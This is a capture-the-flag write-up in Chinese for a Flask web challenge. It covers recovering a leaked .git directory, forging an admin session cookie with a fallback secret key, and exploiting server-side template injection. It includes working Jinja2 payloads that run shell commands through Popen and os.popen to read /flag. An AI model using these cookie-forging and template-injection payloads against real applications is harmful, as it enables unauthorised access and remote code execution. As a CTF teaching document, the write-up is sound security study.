题目提示扫目录
发现.git泄露,用rip-git把.git还原
1 rip-git -u http://ctf.furryctf.com:33061/.git
审计app.py文件查看路由/login,可以看到,无论怎么登录都是不行的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 @app.route('/login' , methods=['GET' , 'POST' ] ) def login (): if request.method == 'POST' : username = request.form.get('username' ) password = request.form.get('password' ) if username == 'admin' and password == 'Nexusadmin2025!@#' : return render_template('login.html' , error="错误:该账户已启用多因素认证 (MFA),请使用硬件密钥登录。" ) if "'" in username: return render_template('login.html' , error="System Warning: Illegal character detected in input stream." ) return render_template('login.html' , error="用户名或密码错误" ) return render_template('login.html' )
查看路由**/dashboard**,可以看到登录admin后存在SSTI漏洞,session的role为admin进行登录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 {% raw %}@app.route('/dashboard' ) def dashboard (): if session.get('role' ) == 'admin' : username = request.args.get('u' , 'Administrator' ) template = f""" {{% extends "base.html" %}} {{% block content %}} <div class="alert alert-success"> <h2>欢迎回到管理控制台, {username} !</h2> <p>系统完整性检查:通过</p> <p>Flag 服务状态:待机</p> </div> {{% endblock %}} """ return render_template_string(template) else : return redirect(url_for('login' )) {% endraw %}
查看config.py文件,可以看到SECRET_KEY是随机的,但是如果SECRET_KEY认证失败,就会尝试使用SECRET_KEY_FALLBACKS列表中的密钥,所以直接使用SECRET_KEY_FALLBACKS列表中的密钥伪造session
1 2 3 4 import os SECRET_KEY = os.urandom(32 ) SECRET_KEY_FALLBACKS = ["This_key_has_been_deprecated_v2023" ]
可以利用flask-session-cookie-manager 工具
1 2 3 python3 flask_session_cookie_manager3.py encode -s "This_key_has_been_deprecated_v2023" -t "{'role':'admin'}"
然后访问路由dashboard,把伪造的session带上
1 Cookie: session=eyJyb2xlIjoiYWRtaW4ifQ.aW84JQ.hjtgx2XSNiq-9x2vIFqTggstWNY
成功的登录admin,根据路由dashboard下面那句话可以知道,username会从get传参的u取值然后渲染的页面上,默认Administrator
1 2 3 username = request.args.get('u' , 'Administrator' ) <h2>欢迎回到管理控制台, {username}!</h2>
我们直接找可利用的类,找到Popen
上脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 raw_classes = sys.argv[1 ] targets = sys.argv[2 :] class_list = [c.strip() for c in raw_classes.split(',' )]print (f"\n[*] 正在列表中搜索 {len (targets)} 个目标...\n" )for target in targets: found = False print (f"--- 搜索关键字: \033[1;33m{target} \033[0m ---" ) for idx, name in enumerate (class_list): if target.lower() in name.lower(): print (f"[\033[1;32m+\033[0m] Index: \033[1;36m{idx} \033[0m -> {name} " ) found = True if not found: print (f"[\033[1;31m-\033[0m] 未找到匹配 '{target} ' 的类" ) print ()
构造payload
1 2 3 4 {% raw %} ?u={{'' .__class__.__base__.__subclasses__()[357]('cat /flag' ,stdout=-1,shell=True).communicate()}} {% endraw %}
1 2 3 4 5 {% raw %} 也可以用os._wrap_close类 payload:?u={{'' .__class__.__base__.__subclasses__()[134].__init__.__globals__['popen' ]('cat /flag' ).read()}} {% endraw %}